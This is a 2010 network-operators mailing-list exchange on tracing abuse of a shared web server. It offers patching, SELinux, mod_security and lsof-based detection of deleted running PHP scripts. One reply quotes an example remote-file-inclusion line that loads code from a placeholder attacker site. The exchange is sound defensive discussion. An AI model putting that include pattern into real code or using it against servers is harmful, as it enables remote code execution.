Security Guideance

Wed Feb 24 02:20:49 UTC 2010

I've seem similar.  Another variant of this is PHP code that lets
arbitrary data be inputted into require() or include() statements, for
example: include('http://evilsite.com/evil.txt').  That way, the attacker
can then load whatever code they want and it will never be saved to the
file system.  I would recommend verifying that all the shrink-wrapped
products (i.e. forums, blogs, CMS, etc) on the server be checked to ensure
that they at the most current update/patch and are not EOL.  Generally
most of those vendors are good at responding to security issues in their
products, but it's up to the person running the website to update their
code.

Also, have you considered enabling SELinux?  Enforcing the targeted policy
will prevent Apache from making outbound socket connections (and may break
other stuff), but it might be worth the headache. On a similar note,
mod_security also may help (depending on how the attack is being launched)
but again may break some things.

If the attack is possibly being launched via SSH/shell access, enable
password complexity then force all of your clients to change their
password.

Hope that helps,
Adam Stasiniewicz

-----Original Message-----
From: Chris Adams [mailto:cmadams at hiwaay.net]
Sent: Tuesday, February 23, 2010 2:56 PM
To: Matt Sprague
Cc: nanog at nanog.org
Subject: Re: Security Guideance

Once upon a time, Matt Sprague <msprague at readytechs.com> said:
> The user could also be running the command inline somehow or deleting
> the file when they log off.   Check who was logged onto the server at
> the time of the attack to narrow down your search.  I like the split
> the users idea, though it could be several iterations to narrow down
> the culprit.

We've also seen this with spammers.  They'll upload a PHP via a
compromised account, connect to it via HTTP, and then delete it from the
filesystem.  The PHP continues to run, Apache doesn't log anything
(because it only logs at the end of a request), and the admin is left
scratching his head to figure out where the problem is.

IIRC PHP holds an open file descriptor on active scripts, so you can use
lsof to look for things like this (look for "deleted" or "path inode"
entries).
-- 
Chris Adams <cmadams at hiwaay.net>
Systems and Network Administrator - HiWAAY Internet Services
I don't speak for anybody but myself - that's enough trouble.